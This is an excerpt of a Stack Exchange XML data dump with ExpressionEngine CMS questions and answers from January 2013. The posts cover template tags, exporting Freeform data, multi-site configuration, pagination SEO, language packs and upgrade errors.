  <row Id="2415" PostTypeId="2" ParentId="2414" CreationDate="2013-01-08T02:50:56.970" Score="2" Body="&lt;p&gt;I've built quite a few church websites with EE over the years.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd now use Structure but I did build my first church website similarly to how you did where I had an 'about' template group.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In terms of your channel entries, there's no need for your segment conditional or setting the url_title parameter. If you're linking to /about/pastors-welcome - by default, EE will look at segment_2 and load the corresponding entry. &lt;a href=&quot;http://www.train-ee.com/courseware/free-tutorials/comments/dynamic-off-explained/&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;Here's a good explanation by Mr Boyink&lt;/strong&gt;&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;content&quot; limit=&quot;1&quot; {gv_param_disable_default}}&#xA;&#xA;&amp;lt;h1 class=&quot;section-header&quot;&amp;gt;{title}&amp;lt;/h1&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;img class=&quot;body-image-left&quot; src=&quot;{image:small}&quot; alt=&quot;{image_description}&quot; title=&quot;{image_description}&quot;/&amp;gt;{page_content}&amp;lt;/p&amp;gt;&#xA;&#xA;    {/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in my sidebar I'd have another channel entries tag disabling everything other than the title for that channel and link items via the url_title_path variable.&lt;/p&gt;&#xA;" OwnerUserId="146" LastEditorUserId="28" LastEditDate="2013-01-08T03:43:33.723" LastActivityDate="2013-01-08T03:43:33.723" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2416" PostTypeId="2" ParentId="2388" CreationDate="2013-01-08T05:44:33.387" Score="2" Body="&lt;p&gt;You need to use the &lt;code&gt;edit_member=&quot;yes&quot;&lt;/code&gt; parameter in conjunction with using the member fields from your registration form. If you don't want those fields, just make this a standard safecracker form and edit your profile entry as normal. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are several ways you can do it, but my advise would to use hidden form fields to store the values you don't want to be visible. This way, you don't have to workaround any unforeseen limitations you may come across.&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-08T05:44:33.387" CommentCount="8" ContentLicense="CC BY-SA 3.0" />
  <row Id="2417" PostTypeId="2" ParentId="2413" CreationDate="2013-01-08T05:51:43.173" Score="7" Body="&lt;p&gt;&lt;code&gt;$this-&amp;gt;EE&lt;/code&gt; is referring to the EE singleton object that basically powers everything in EE. You need to reference the global object from memory.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE =&amp;amp; get_instance();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If this doesn't work, then be sure you are executing your code within the EE bootstrap (within a module, plugin, extension, library, or some other approved place).&lt;/p&gt;&#xA;" OwnerUserId="101" LastActivityDate="2013-01-08T05:51:43.173" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2418" PostTypeId="1" AcceptedAnswerId="2478" CreationDate="2013-01-08T06:01:48.830" Score="1" ViewCount="928" Body="&lt;p&gt;I've asked this question over at Solspace but thought I'd see if any of the EE community have any insight.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have urgent need of a solution that can automate the exporting of freeform data. The manual solution is not a viable option at all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can anyone advise me of how I could achieve a cron job or JSON feed… anything that can be picked up by a remote server, I'm open to all ideas.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exporting each &quot;form&quot; group would be mandatory ie. not all form data in one stream/file/URL&lt;/p&gt;&#xA;" OwnerUserId="166" LastActivityDate="2013-01-09T10:55:16.823" Title="Automate Exporting of Freeform data" Tags="|solspace-freeform|automation|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2419" PostTypeId="2" ParentId="2371" CreationDate="2013-01-08T11:44:24.500" Score="0" Body="&lt;p&gt;This is the answer I'm going for. It works on my server setup which has an open_basedir restriction. It allows you to have very short url's and does not require a template group as  segment_1.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This was tested on EE 2.5.5, both Core and Full license versions on a shared server hosting package running cPanel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You need to define some additional global_vars as suggested by @nonprofit_tech. You need to do this for the index.php file for every subsite.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* CUSTOM CONFIG VALUES */&#xA;$assign_to_config['template_group'] = 'name of default template group';&#xA;$assign_to_config['template'] = 'index';&#xA;$assign_to_config['site_index'] = '';&#xA;$assign_to_config['site_404'] = 'name of subsite template group/404';&#xA;$assign_to_config['cp_url'] = '';&#xA;$assign_to_config['global_vars'] = array(&#xA;'subsite_id' =&amp;gt; 'subsite',&#xA;'domain' =&amp;gt; 'http://www.subsite.org',&#xA;'site_name' =&amp;gt; 'Subsite',&#xA;); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then in the index template of the default template group I used this code to conditionally embed the correct template group and template using the {subsite_id}:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_1 == &quot;category&quot; AND segment_2 !=&quot;&quot;}{embed=&quot;{subsite_id}/_category&quot;}&#xA;{if:elseif segment_1 !=&quot;&quot;}{embed=&quot;{subsite_id}/_single-entry&quot;}&#xA;{if:else}{embed=&quot;{subsite_id}/_home&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then you just create new template groups with the same name as the {subsite_id} variable.&#xA;I guess you don't have to use embeds, but whatever method you use, stash, snippets etc. use the {subsite_id} to customise the call.&lt;/p&gt;&#xA;" OwnerUserId="483" LastEditorUserId="483" LastEditDate="2013-01-09T22:46:25.937" LastActivityDate="2013-01-09T22:46:25.937" CommentCount="9" ContentLicense="CC BY-SA 3.0" />
  <row Id="2420" PostTypeId="2" ParentId="2418" CreationDate="2013-01-08T13:21:40.907" Score="1" Body="&lt;p&gt;From what I can tell, the answer is not one that currently exists as part of the Module. For the process to be automated, you would need to create a custom query, with a cron job or an add-on, but the cron job with a custom query would be the easiest approach.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Andrew Weaver has a great little utility add-on, &lt;a href=&quot;http://devot-ee.com/add-ons/ajw-export&quot; rel=&quot;nofollow&quot;&gt;AJW Export&lt;/a&gt;, that basically would handle the .csv process for you, so all you'd need to do is create the query, place it on a template, and either set-up a cron job with your ISP or use the &lt;a href=&quot;http://devot-ee.com/add-ons/expressionengine-cron&quot; rel=&quot;nofollow&quot;&gt;ExpressionEngine Cron&lt;/a&gt; add-on, which I can't recall, if it's packaged with EE or if it's one of the many items you can get from EllisLab, but you need to grab from &lt;a href=&quot;http://devot-ee.com/&quot; rel=&quot;nofollow&quot;&gt;Devot-ee&lt;/a&gt; or the &lt;a href=&quot;https://github.com/EllisLab&quot; rel=&quot;nofollow&quot;&gt;Ellis Lab GitHub&lt;/a&gt; account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One thing to recall with the custom query process, is that FreeForm Pro 4.x now creates new data tables for each new form, so make sure you grab the right forms data. The query would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:ajw_export &#xA;sql=&quot;SELECT entry_id, entry_date, form_field_1, form_field_2 FROM exp_freeform_form_entries_1&quot; &#xA;format=&quot;csv&quot; &#xA;delimter=&quot;:&quot;&#xA;filename=&quot;output.csv&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The one thing I'm uncertain about is the &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;anything that can be picked up by a remote server&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;statement. Do you need another database to grab the reports, or do they need to be stored on a different server? A cron job will automate the running of the report, AJW Export will produce the .csv format for you, but both options either assume it will be downloaded in a web browser or be saved to the server. In fact, I think &lt;a href=&quot;http://devot-ee.com/add-ons/ajw-export&quot; rel=&quot;nofollow&quot;&gt;AJW Export&lt;/a&gt; ONLY posts to immediate download. I could be wrong, but I believe that's true.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a second database that needs access to info from the website, then an ODBC query might be more appropriate. I know we've set these up for clients using FileMaker on the desktop and MySQL on the server. The automation is more dependent on what desktop database you are using. But basically, we configure the desktop database to open a connection to MySQL using ssh via the sFTP access, and an IP filter, then grab the data. FileMaker handles pre-existing data by checking if the designated entry_id exists or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never used it, but if JSON is your other option, then you can also look at the add-on, &lt;a href=&quot;http://devot-ee.com/add-ons/json&quot; rel=&quot;nofollow&quot;&gt;JSON&lt;/a&gt;, by Rob Sanchez/Barrett Newton. You might be able to grab this from a specific url, with some login credentials or an IP filter.&lt;/p&gt;&#xA;" OwnerUserId="252" LastActivityDate="2013-01-08T13:21:40.907" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2421" PostTypeId="2" ParentId="2412" CreationDate="2013-01-08T13:29:00.390" Score="1" Body="&lt;p&gt;Adrian was right... forgot to check our custom module we built that hooks into the checkout process. We corrected the template lib and all is well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Changed - &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $email['subject'] = $this-&amp;gt;EE-&amp;gt;template-&amp;gt;parse_variables($email['subject'], $tag_vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; $email['subject'] = $this-&amp;gt;EE-&amp;gt;TMPL-&amp;gt;parse_variables($email['subject'], $tag_vars);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As I say, this was a custom module, not Store - so nothing amiss with exp:resso&lt;/p&gt;&#xA;" OwnerUserId="39" LastEditorUserId="39" LastEditDate="2013-01-11T16:56:13.123" LastActivityDate="2013-01-11T16:56:13.123" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2422" PostTypeId="2" ParentId="2413" CreationDate="2013-01-08T13:43:55.157" Score="3" Body="&lt;p&gt;This has now been solved thanks to @Justin Kimbrell. I have just placed the original code I was developing inside an ExpressionEngine template and updated its php preferences. Doing so places the code within the bootstrap as suggested above, and still allows for the template to be call via a URL. In the template I am simply just using the same code as above with a single addition: $this-&gt;EE-&gt;api-&gt;instantiate('channel_fields');&lt;/p&gt;&#xA;" OwnerUserId="695" LastEditorUserId="28" LastEditDate="2013-01-13T01:11:53.560" LastActivityDate="2013-01-13T01:11:53.560" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2423" PostTypeId="1" AcceptedAnswerId="4783" CreationDate="2013-01-08T15:00:09.637" Score="3" ViewCount="125" Body="&lt;p&gt;ExpressionEngine 2.5.2 - Build Date: 20120606&#xA;Postmaster 1.2.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wanting to try to create a hook for Postmaster but when I click &quot;add hook&quot; I get the following error.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Parse error: syntax error, unexpected T_ENDFOREACH in /var/www/html/teamnet/system/codeigniter/system/core/Loader.php(727) : eval()'d code on line 249&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="729" LastEditorUserId="729" LastEditDate="2013-01-08T15:08:38.880" LastActivityDate="2013-01-15T06:00:06.290" Title="Postmaster Hook Parse Error" Tags="|postmaster|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2424" PostTypeId="2" ParentId="2418" CreationDate="2013-01-08T15:00:15.360" Score="3" Body="&lt;p&gt;This can actually be accomplished quite easily using a combination of &lt;a href=&quot;http://devot-ee.com/add-ons/automatee&quot; rel=&quot;nofollow&quot;&gt;Automat:ee&lt;/a&gt; and &lt;a href=&quot;http://devot-ee.com/add-ons/export-it&quot; rel=&quot;nofollow&quot;&gt;Export It&lt;/a&gt;. Automat:ee would handle the scheduling and Export it can be used to export out the Freeform data. &lt;/p&gt;&#xA;" OwnerUserId="169" LastActivityDate="2013-01-08T15:00:15.360" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2425" PostTypeId="1" AcceptedAnswerId="2477" CreationDate="2013-01-08T15:27:05.513" Score="5" ViewCount="681" Body="&lt;p&gt;I am working on some search engine optimisation for my ExpressionEngine site.  I need to add some link tags into my head to allow Google crawlers to acknowledge the relationship between paginated pages in my blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to add:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;next&quot; href=&quot;http://www.mysite.com/news/latest-news/P10&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the first news page, then:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;prev&quot; href=&quot;http://www.mysite.com/news/latest-news/&quot; /&amp;gt;&#xA;&amp;lt;link rel=&quot;next&quot; href=&quot;http://www.mysite.com/news/latest-news/P20&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to the next page, and so on until the final page where I'll add &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;link rel=&quot;prev&quot; href=&quot;http://www.mysite.com/news/latest-news/PXX&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have been trying to achieve this by using the following code:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First news page:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if last_segment == &quot;latest-news&quot;}&#xA;        &amp;lt;link rel=&quot;next&quot; href=&quot;http://www.6dg.co.uk/news/latest-news/P10&quot; /&amp;gt;&#xA;    {/if}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This works fine, but for subsequent pages I have tried this, which does not work as PX is not accessible as a url segment.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if last_segment == &quot;P10&quot;}&#xA;        &amp;lt;link rel=&quot;prev&quot; href=&quot;http://www.6dg.co.uk/news/latest-news&quot; /&amp;gt;&#xA;        &amp;lt;link rel=&quot;next&quot; href=&quot;http://www.6dg.co.uk/news/latest-news/P20&quot; /&amp;gt;&#xA;    {/if}  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;{last_segment} returns latest-news.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know how I can get round this issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have another issue with this method.  Currently I only have 3 paginated pages, but this will go up as more entries are added, so I am not going to know what segment value to target in order to add my final link tag.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help will be greatly appreciated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using ExpressionEngine version 2.2.2&lt;/p&gt;&#xA;" OwnerUserId="730" LastEditorUserId="28" LastEditDate="2013-01-13T01:12:57.087" LastActivityDate="2013-01-18T12:49:55.753" Title="ExpressionEngine pagination: access last segment" Tags="|pagination|seo|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2426" PostTypeId="1" AcceptedAnswerId="2428" CreationDate="2013-01-08T15:49:33.470" Score="1" ViewCount="118" Body="&lt;p&gt;I've got an EE 2.5.5 site and I'd like to be able to set the control panel language to Italian. I've followed the instructions on how to do this from the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/general/languages.html&quot; rel=&quot;nofollow&quot;&gt;user guide&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I downloaded the &lt;a href=&quot;https://github.com/EllisLab/EE-Language-Italian&quot; rel=&quot;nofollow&quot;&gt;Italian language pack&lt;/a&gt; from EllisLab's GitHub account, and I've uploaded the italian folder to system/expressionengine/language/&lt;strong&gt;italian&lt;/strong&gt;. But when I set the language from english to italian, I get the following error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;An Error Was Encountered&#xA;Unable to load the requested language file: language/italian/core_lang.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I have added an &lt;a href=&quot;https://github.com/EllisLab/EE-Language-Italian/issues/1&quot; rel=&quot;nofollow&quot;&gt;issue&lt;/a&gt; on GitHub, but not sure if that is being monitored closely by EllisLab so thought I'd post here for help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that language pack out of date (as there's not even a core_lang.php file within the repository), or do I need to be doing this in a different way?&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-01-08T16:49:17.020" Title="Problems using the Italian language pack in the EE control panel" Tags="|control-panel|multi-language|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2427" PostTypeId="1" AcceptedAnswerId="2433" CreationDate="2013-01-08T16:43:38.970" Score="2" ViewCount="938" Body="&lt;p&gt;I have this markup:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;imagegallery&quot;}&#xA;&amp;lt;div class=&quot;element {exp:channel:categories category_group=&quot;1&quot; channel=&quot;imagegallery&quot; style=&quot;linear&quot;}{category_url_title}{/exp:channel:categories}&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Bla Bla&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I'd like to add the current category as a class. With this markup all categories are added. But I only want the one from this channel entry. How do I do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you&lt;/p&gt;&#xA;" OwnerUserId="184" LastActivityDate="2013-01-08T17:28:23.717" Title="Show current category" Tags="|categories|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2428" PostTypeId="2" ParentId="2426" CreationDate="2013-01-08T16:44:06.183" Score="2" Body="&lt;p&gt;you're getting that error simply because the &lt;a href=&quot;https://github.com/EllisLab/EE-Language-Italian&quot; rel=&quot;nofollow&quot;&gt;https://github.com/EllisLab/EE-Language-Italian&lt;/a&gt; pack is for EE 1.x versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Plus you can download this (though it's not 100% translated) at least it's a Version 2.1.3 &lt;a href=&quot;https://bitbucket.org/age38dev/eecita/src/87fdcac9ce735f722f4cb182e40f51e42b92b043/2.1.3/EE/language?at=default&quot; rel=&quot;nofollow&quot;&gt;https://bitbucket.org/age38dev/eecita/src/87fdcac9ce735f722f4cb182e40f51e42b92b043/2.1.3/EE/language?at=default&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="48" LastEditorUserId="48" LastEditDate="2013-01-08T16:49:17.020" LastActivityDate="2013-01-08T16:49:17.020" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2429" PostTypeId="1" AcceptedAnswerId="2430" CreationDate="2013-01-08T16:50:06.593" Score="1" ViewCount="369" Body="&lt;p&gt;I was upgrading an EE install from 2.5.2 to 2.5.5. First of all, I updated all the add-ons to make sure they were the latest versions. Then I added the new EE files as per the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/installation/update.html&quot; rel=&quot;nofollow&quot;&gt;updating docs&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When running the upgrade, I got the following error message in a popup window after about 15 seconds:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The update script failed without returning an error. Please contact tech-support.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;My hosting has plenty of memory (512mb) and execution time (60 seconds, though I even upgraded it to 600 seconds to rule it out as an issue) and has run dozens of upgrades before without any issues. I even tried upgrading from 2.5.2 to 2.5.3 instead, but got the same result.&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditDate="2013-01-23T03:10:05.440" LastActivityDate="2013-12-18T10:26:03.097" Title="Error when upgrading EE - 'The update script failed without returning an error. Please contact tech support.'" Tags="|add-on|upgrade|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2430" PostTypeId="2" ParentId="2429" CreationDate="2013-01-08T16:50:06.593" Score="7" Body="&lt;p&gt;To workaround the issue, I followed the advice from this &lt;a href=&quot;http://ellislab.com/forums/viewthread/216950/#1002041&quot;&gt;EE Support thread&lt;/a&gt; by renaming the system/expressionengine/&lt;strong&gt;third_party&lt;/strong&gt; folder to something else immediately before carrying out the upgrade. The upgrade then worked fine, and I renamed the third_party folder back afterwards and all was well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The explanation for having to do this (from the same &lt;a href=&quot;http://ellislab.com/forums/viewthread/216950/#1004307&quot;&gt;EE support thread&lt;/a&gt; as above) is that 'the updater is trying to run the update scripts of third-party modules, so moving them out of the way lets the updater complete, then you can update third-party modules after.'&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm sure that all my add-ons were already updated before carrying out the EE upgrade, so I suspect I either missed one through human error (unlikely as I double-checked them), or there was a rogue add-on that was causing an issue with the EE update script (but it would have taken too much time to pin-point which one after the above workaround worked).&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2013-01-08T16:50:06.593" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2431" PostTypeId="1" AcceptedAnswerId="2476" CreationDate="2013-01-08T16:52:32.247" Score="1" ViewCount="112" Body="&lt;p&gt;I'm trying to make my press release pages a little more fool-proof so instead of leaving the formatting of the location and date to the user I want to create a location matrix field (they type the city name and choose a state from a drop down menu; states MUST be spelled out hence the dropdown field) and prepend the output of this to the wygwam field that contains the press release content. I'll also add the date from the entry_date field to this. The output will eventually look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;location, state - month day, year - begin press release...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I can set the stash without any problems and even output it on its own but I'm not sure how I could go about prepending it to the Wygwam content. In the past I've done this with MX Jumper but it required the addition of some random content at the beginning of the press release that  could be swapped out. I'm hoping I can do this with Stash without the need for any extra content in the press release content field. Any suggestions on how this might work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Update with template code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;press_releases&quot;}&#xA;    {exp:stash:set name=&quot;pr-date-loc&quot;}&#xA;        {press_release-location}&amp;lt;strong&amp;gt;{pr-city}, {pr-state} &amp;amp;mdash; {entry_date format=&quot;%F %j, %Y&quot;} &amp;amp;mdash; &amp;lt;/strong&amp;gt;{/press_release-location}&#xA;    {/exp:stash:set}&#xA;{/exp:channel:entries}&#xA;&#xA;{exp:channel:entries channel=&quot;press_releases&quot;}&#xA;    &amp;lt;h1&amp;gt;{press_release-title}&amp;lt;/h1&amp;gt;&#xA;    {exp:stash:prepend name=&quot;pr-date-loc&quot;}&#xA;        {press_release-content}&#xA;    {/exp:stash:prepend}&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="237" LastEditorUserId="237" LastEditDate="2013-01-08T19:34:49.210" LastActivityDate="2013-01-09T10:25:50.377" Title="Using Stash to prepend matrix output to wygwam output" Tags="|stash|wygwam|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2432" PostTypeId="1" AcceptedAnswerId="2435" CreationDate="2013-01-08T16:54:57.387" Score="2" ViewCount="932" Body="&lt;p&gt;Does the inclusion of index.php in the URL negatively affect the page rank of each page within an expressionengine site?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;www.domain.com/index.php/about-us  vs  www.domain.com/about-us&#xA;www.domain.com/index.php/contact  vs  www.domain.com/contact&#xA;www.domain.com/index.php/services  vs  www.domain.com/services&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Do search engines see index.php as the only page?&lt;/p&gt;&#xA;" OwnerUserId="202" LastActivityDate="2013-01-08T17:39:13.460" Title="index.php and page rank" Tags="|seo|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2433" PostTypeId="2" ParentId="2427" CreationDate="2013-01-08T17:10:06.500" Score="8" Body="&lt;p&gt;The &lt;code&gt;{exp:channel:categories}&lt;/code&gt; tag is specifically for displaying a list of &lt;em&gt;all&lt;/em&gt; categories. You can use the &lt;code&gt;{categories}&lt;/code&gt; variable pair inside of the &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop to get the assigned categories to that entry. You can read more at the &lt;a href=&quot;http://ellislab.com/expressionengine/user-guide/modules/channel/channel_entries.html#categories&quot;&gt;docs&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;imagegallery&quot;}&#xA;&amp;lt;div class=&quot;element {categories backspace=&quot;1&quot;}{category_url_title} {/categories}&quot;&amp;gt;&#xA;    &amp;lt;p&amp;gt;Bla Bla&amp;lt;/p&amp;gt;&#xA;&amp;lt;/div&amp;gt; &#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="209" LastEditorUserId="55" LastEditDate="2013-01-08T17:28:23.717" LastActivityDate="2013-01-08T17:28:23.717" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2434" PostTypeId="1" CreationDate="2013-01-08T17:13:33.793" Score="2" ViewCount="554" Body="&lt;p&gt;I have a MSM installation that will be powering 3 different sites.  One site is essentially a small stand-alone brochure site and is running fine.  The other two are Site A - default site w/ most of the content and Site B, a smaller site that is going to re-use some content from A.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The short question is: Is it possible to use Structure and MSM to share content between sites?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Longer details:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All the sites are using Structure to manage pages.  In Site B, I have duplicated the channels and Structure layout for this particular page I'm trying to display.  I have also duplicated the template wich includes the channel:entries tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries&#xA;    channel=&quot;businesses&quot;&#xA;    limit=&quot;1&quot;&#xA;    site=&quot;default_site&quot;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only difference between Site A template and Site B is the &lt;code&gt;site=&quot;default_site&quot;&lt;/code&gt; tag.  Everything else in the templates, channels, and entries are the same between sites.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Side note - my navigation templates use a similar channel entries tag (limited to a specific category id) and they display fine.  The correct content entries are being displayed in the nav on Site B.&lt;/p&gt;&#xA;" OwnerUserId="127" LastEditorUserId="268" LastEditDate="2013-01-09T06:19:59.890" LastActivityDate="2013-01-09T06:19:59.890" Title="Sharing content between sites with MSM and Structure" Tags="|add-on|structure|multi-site-manager|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2435" PostTypeId="2" ParentId="2432" CreationDate="2013-01-08T17:21:27.753" Score="4" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Do search engines see index.php as the only page?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Definitely not. Google treats it as part of the URL, the same as the other segments. There is no penalty to keeping &lt;code&gt;index.php&lt;/code&gt; as the first segment.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if you were using true query parameters in your URL (&lt;code&gt;index.php?page=about-us&lt;/code&gt;), Google is smart enough to understand that this is a distinct page from &lt;code&gt;index.php&lt;/code&gt;. (For example, they even &lt;a href=&quot;http://googlewebmastercentral.blogspot.ca/2012/08/configuring-url-parameters-in-webmaster.html&quot; rel=&quot;nofollow&quot;&gt;offer a tool&lt;/a&gt; to customize how they index sites with URL parameters.)&lt;/p&gt;&#xA;" OwnerUserId="55" LastEditorUserId="55" LastEditDate="2013-01-08T17:29:17.083" LastActivityDate="2013-01-08T17:29:17.083" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2436" PostTypeId="2" ParentId="2432" CreationDate="2013-01-08T17:26:23.813" Score="4" Body="&lt;p&gt;Not necessarily, Google will index regardless. However, from a users perspective shorter URL's are always better. Stick with with one method and 301 redirect all the old URLs to the new ones so it doesn't affect your rankings. &lt;/p&gt;&#xA;" OwnerUserId="209" LastActivityDate="2013-01-08T17:26:23.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
